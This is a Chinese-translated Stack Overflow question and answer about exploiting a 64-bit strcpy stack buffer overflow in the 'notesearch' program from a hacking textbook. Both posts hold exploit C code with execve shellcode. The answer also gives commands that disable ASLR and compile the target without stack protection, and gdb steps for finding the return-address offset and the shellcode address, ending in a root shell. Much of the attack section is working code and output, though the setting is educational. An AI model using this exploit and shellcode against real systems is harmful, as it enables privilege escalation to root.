c - 使用 strcpy 的 64 位缓冲区溢出

标签 c linux security x86 gdb

我基本上是在尝试运行缓冲区溢出攻击。根据我的理解,我们需要 3 个部分:

  1. 雪橇
  2. 要执行的 Shell 代码
  3. 回信地址

我遇到的问题是在 64 位 linux 中,返回地址类似于 0x00007fffffffdcf2。在 Strcpy 中,如果看到空字符,它将停止复制。所以基本上最后我得到了这样的东西:

0x7fffffffe233: 0x9090909090909090  0x9090909090909090
0x7fffffffe243: 0x9090909090909090  0x9090909090909090
0x7fffffffe253: 0x9090909090909090  0x9090909090909090
0x7fffffffe263: 0x9090909090909090  0x9090909090909090
0x7fffffffe273: 0xb099c931db31c031  0x6851580b6a80cda4
0x7fffffffe283: 0x69622f6868732f2f  0x8953e28951e3896e
0x7fffffffe293: 0x909090909080cde1  0x43007fffffffdcf2    <<< This line

如果你查看最后 8 个字节而不是

0x00007fffffffdcf2

我们有

0x43007fffffffdcf2

我假设 43 一开始只是垃圾数据。那么基本上有什么方法可以克服这个问题,或者缓冲区溢出攻击是否在 64 位系统上对 strcpy 函数不起作用?

这是我的代码(基于剥削的艺术一书):

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>

char shellcode[]= 
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80\x90\x90\x90\x90\x90";

int main(int argc, char *argv[]) {
    uint64_t i;
    uint64_t  ret;
    uint64_t offset=270;
    char *command, *buffer, *test;

    command = (char *) malloc(200);
    test = (char *)malloc(200);
    bzero(command, 200); // zero out the new memory

    strcpy(command, "./notesearch   \'"); // start command buffer
    buffer = command + strlen(command); // set buffer at the end

    if(argc > 1) // set offset
            offset = atoi(argv[1]);

    ret =  ((uint64_t)(&i)- offset); // set return address

    for(i=0; i < 200; i+=8) // fill buffer with return address
            memcpy((uint64_t *)((uint64_t)buffer+i), &ret, 8);
    memset(buffer, 0x90, 64); // build NOP sled
    memcpy(buffer+64, shellcode, sizeof(shellcode)-1); 

        strcat(command, "\'");


    system(command); // run exploit

}

任何帮助将不胜感激。

最佳答案

我能够修改您的示例代码,使其在 64 位环境下与书中的 notesearch 程序一起工作。

必须关闭现代操作系统和构建工具中的许多保护才能使其正常工作,但这显然是出于教育目的,所以目前这是合理的。

首先,关闭系统上的 ASLR:

echo 0 > /proc/sys/kernel/randomize_va_space

这必须以 root 身份完成,它不能与 sudo 一起使用,因为 sudo 将仅适用于 echo 命令,而不是重定向。只需先 sudo -i ,然后运行它。

接下来,必须在禁用两个重要的安全保护的情况下编译 notesearch 程序。默认情况下,您的程序将构建有用于检测缓冲区溢出的堆栈金丝雀和不可执行的堆栈,因为通常没有合理的理由从堆栈运行代码。

gcc -g -z execstack -fno-stack-protector -o notesearch notesearch.c

现在,漏洞利用代码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>

char shellcode[]=
"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53"
"\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";

int main(int argc, char *argv[]) {
    char *command, *buffer;
    command = (char *) malloc(200);
    bzero(command, 200); // zero out the new memory

    strcpy(command, "./notesearch       \'"); // start command buffer
    buffer = command + strlen(command); // set buffer at the end

    memset(buffer, 'A', 0x78); // Fill buffer up to return address
    *(unsigned long long*)(buffer+0x78) = 0x7fffffffe1c0;
    memcpy(buffer, shellcode, sizeof(shellcode)-1);

    strcat(command, "\'");

    system(command); // run exploit
}

这个问题可以缩小到一个简单的返回地址覆盖,所以不需要 NOP sled。此外,您原始帖子中的 shellcode 仅适用于 32 位。我使用的 64 位 shellcode 来自 http://shell-storm.org/shellcode/files/shellcode-806.php .

大问题:0x780x7fffffffe1c0 来自哪里?我开始使用大于 0x78 的数字,因为我不知道该使用什么。我猜是 175,因为它比目标缓冲区大。所以第一次迭代有这些行:

memset(buffer, 'A', 175); // Overflow buffer
//*(unsigned long long*)(buffer+???) = ???;

现在尝试一下。请注意,在测试时,我使用了 notesearch 的非 setuid 版本来促进成功的核心转储。

ulimit -c unlimited
gcc myexp.c
./a.out

notesearch 程序崩溃并创建了一个核心文件:

deb82:~/notesearch$ ./a.out
[DEBUG] found a 15 byte note for user id 1000
-------[ end of note data ]-------
Segmentation fault (core dumped)
deb82:~/notesearch$

运行 gdb ./notesearch core 显示:

Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x00000000004008e7 in main (argc=2, argv=0x7fffffffe2c8) at notesearch.c:35
35  }
(gdb)

很好。它坠毁了。为什么?

(gdb) x/1i $rip
=> 0x4008e7 <main+158>: retq   
(gdb) x/1gx $rsp
0x7fffffffe1e8: 0x4141414141414141
(gdb)

它试图返回到我们控制的地址(全是 A)。好的。我们控制的字符串 (searchstring) 指向返回地址的偏移量是多少?

(gdb) p/x (unsigned long long)$rsp - (unsigned long long)searchstring
$1 = 0x78
(gdb) 

所以现在我们再试一次,做出这些改变:

memset(buffer, 'A', 0x78); // Fill buffer up to return address
*(unsigned long long*)(buffer+0x78) = 0x4242424242424242;

再次,我们得到一个核心转储。分析它表明:

Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x00000000004008e7 in main (argc=2, argv=0x7fffffffe318) at notesearch.c:35
35  }
(gdb) x/1i $rip
=> 0x4008e7 <main+158>: retq   
(gdb) x/1gx $rsp
0x7fffffffe238: 0x4242424242424242
(gdb)

很好,我们更精确地控制了返回地址。现在,我们要放什么而不是一堆 B?在合理的堆栈范围内搜索我们的 shellcode(0xbb48c031 是一个 DWORD,对应于 shellcode 缓冲区中的前 4 个字节)。只需屏蔽掉较低的 3 位数字并从页面的开头开始。

(gdb) find /w 0x7fffffffe000,$rsp,0xbb48c031
0x7fffffffe1c0
1 pattern found.
(gdb) 

所以我们的 shellcode 存在于 0x7fffffffe1c0 的堆栈中。这是我们想要的返回地址。使用此信息更新代码,并再次设置 notesearch setuid root,我们得到:

deb82:~/notesearch$ whoami
user
deb82:~/notesearch$ ./a.out
[DEBUG] found a 15 byte note for user id 1000
-------[ end of note data ]-------
# whoami
root
# 

我提供的代码可能会像您的设置一样工作,但您很可能需要遵循类似的路径才能使用正确的偏移量。

关于c - 使用 strcpy 的 64 位缓冲区溢出,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/40646694/

相关文章:

c - fopen fprintf 仅在关闭文件后才写入文件

C指针取消引用

C 将 char 转换为 int

security - Azure Web 角色过多 header

c - 具体来说,fork() 如何处理 Linux 中 malloc() 动态分配的内存?

linux - 如何在没有浏览器的情况下运行 SWF(在 Linux 服务器上)?

linux - 为了安全起见,安装 Magento 后哪些文件应该是可写的?

sql-server - SQL Server Linux 公共(public)预览版上的 xp_cmdshell

php - 防止从 PHP 中不受信任的来源发生注销操作

security - 客户端无法协商 ssl 连接 : no cipher suites in common -- burp suite